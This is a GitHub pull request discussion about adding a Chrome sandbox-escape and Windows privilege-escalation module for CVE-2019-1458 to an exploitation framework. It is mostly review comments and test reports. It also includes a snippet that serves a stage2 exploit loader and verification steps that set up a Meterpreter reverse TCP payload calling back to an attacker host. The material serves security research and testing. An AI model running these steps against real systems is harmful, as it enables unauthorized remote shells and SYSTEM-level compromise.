-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
CVE-2019-1458 chrome sandbox escape #13817
CVE-2019-1458 chrome sandbox escape #13817
Conversation
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
ed4fd06
to
de56fca
Compare
This is ready now, apologies for the delay |
This did not work for me on Windows 7 SP1 (x64).
However, when I downgraded Chrome to version 69 on my test host, it looks like this, which probably doesn't bode well for any of my tests. I downloaded old versions from here: The installers appear to be signed by Google. |
I was still able to get a session using the
|
Another test with
Using
|
Also loader_data = loader_data + "\0" * (0x20000 - loader_data.length)
send_response(cli, loader_data, {'Content-Type' => 'application/octet-stream', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
print_good("Sent stage2 exploit (#{loader_data.length.to_s(16)} bytes)") ie: print_good("Sent stage2 exploit (#{loader_data.length} bytes)") |
|
I pasted the wrong log in the first comment. I realized the first test was on x86 and changed over to x64. Everything above was performed on x64. |
I tried a few times, rebooting between each attempt, with no luck on Windows 7 SP1. But given that my Chrome looks like it is screaming in pain before exploitation, that doesn't mean much. The ntusermessagecall module works well. FWIW; I was able to exploit with it even after a failed exploitation attempt via Chrome, indicating that Chrome is not attempting exploitation, given that it's exploitable only once. |
Was able to confirm the latest pull request on Win7x64 with Chrome 69.0.3497.100 (64bit) and PrivEsc works fine. Furthermore tried it on Win8.1 x64 but didn't succeed. |
@xaitax / anyone: I don't suppose you can run https://github.com/unamer/CVE-2019-1458/tree/master/x64/Release <-- this exe on your Windows 8.1 box and post the output? I suspect it just needs offsets but I don't have a VM to test on at the moment. |
@timwr Not sure this is working at the moment, tried this two times with the sandbox enabled and this is basically what I got:
Then the Chrome tab crashed on the other side. Using https://www.filepuma.com/download/google_chrome_64bit_69.0.3497.92-20074/download/ as the download source and running it on a Windows 7 x64 SP1 machine with no updates. Here is the result if I try it with no sandbox:
|
Taking a look at this now, will let you know what the results are. |
Dismissing review as we were unable to reproduce the exploit, and this leads to the misleading conclusion that this code is ready to land.
Results:
This shows that this succeeds in adding the |
Apologies but I implemented this change: e9ef1bb without updating the instructions. |
@timwr I think I probably tried the default options. I used the testing instructions so most likely I didn't use the |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Overall looks pretty good, but did have a few questions and comments on the module. Apologies in advance if I misunderstood anything, this was intended to be a complete review to prune out any potential odd behavior.
documentation/modules/exploit/windows/local/ntusermessagecall.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/windows/local/ntusermessagecall.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/windows/local/ntusermessagecall.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/windows/local/ntusermessagecall.md
Outdated
Show resolved
Hide resolved
@timwr Going to work on making the changes necessary to fix up the rest of these issues today, so if you see any commits to your branch this is what they are related to. |
@timwr Just realized after all of this that the documentation for |
The changes you made look great! I re-tested it again with target 1 and it works. I will update the documentation with the results. Thanks @gwillcox-r7 ! |
6cc2186
to
de9dccb
Compare
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Minor changes required, otherwise this is pretty much ready to go. Left some comments for reference but I can go ahead and make these edits myself.
@@ -18,6 +21,7 @@ You may also need to disable Windows Defender. | |||
## Verification Steps | |||
|
|||
1. Do: ```use exploit/multi/browser/chrome_object_create``` | |||
1. Do: ```set target 0``` |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Eh technically speaking this implies that this value will always be 0. Minor complaint though. Main thing I am noticing when looking at this documentation is that we don't have an Options
section. So I was a little confused at first why we didn't list the various options for target
and explain what they did. Might be an idea to add that in to this documentation file to bring it up to date.
Otherwise changes on this look good, thanks for doing this!
This module can target the renderer process (target 0), but Google Chrome must be launched with the --no-sandbox flag for the payload to execute successfully. | ||
|
||
Alternatively, this module can use CVE-2019-1458 to escape the renderer sandbox (target 1). This will only work on vulnerable versions of Windows (e.g Windows 7) and the exploit can only be triggered once. | ||
Additionally the exploit can cause the target machine to restart when the session is terminated. A BSOD is also likely to occur when the system is shut down or rebooted. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
These lines look great but my concern is that you have individual lines that are way too long, when they should be broken up into multiple lines (even if they are within the same sentence). Can you run tools/dev/msftidy_docs.rb
on this file and try address some of the concerns it raises? It should note a few things such as long lines like these that can be tidied up to help make the documentation easier to read.
@gwillcox-r7 I've addressed most of the msftidy_docs issues, but I still get the following:
I'm not sure about the remaining ones:
|
@timwr The template is a bit old and may not have been updated. I think we now just generally place that description section under Edit: Wow I completely overlooked the fact that we already documented the |
@timwr With last updates this should be ready to land, so going to just go ahead and do some rebasing to clear up the commit history and then land this in. Thanks for your patience on this! |
…describe what the cause of the LPE bug for CVE-2019-1458 is. also apply RuboCop edits.
…ons of Windows and provide full coverage for CVE-2019-1458
…e future bugs in NtUserMessageCall and also update the description info a bit more
7cf875e
to
87104a7
Compare
Original Release Notes This PR adds support for exploiting CVE-2019-1458, aka WizardOpium, as both a standalone LPE module, and as a sandbox escape option for the |
Release NotesNew module |
This pull request demonstrates how #13221 (aka WizardOpium?)
can be combined with any chrome exploit (in this case https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/browser/chrome_object_create.rb) in order to escape the sandbox.
Verification
Install Google Chrome 69.0.3497.92 on Windows 7 SP1
msfconsole
use exploit/multi/browser/chrome_object_create
set target 1
set URIPATH /
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.1
set SRVHOST 192.168.56.1
set DEBUG_EXPLOIT true
run
SYSTEM
e.g: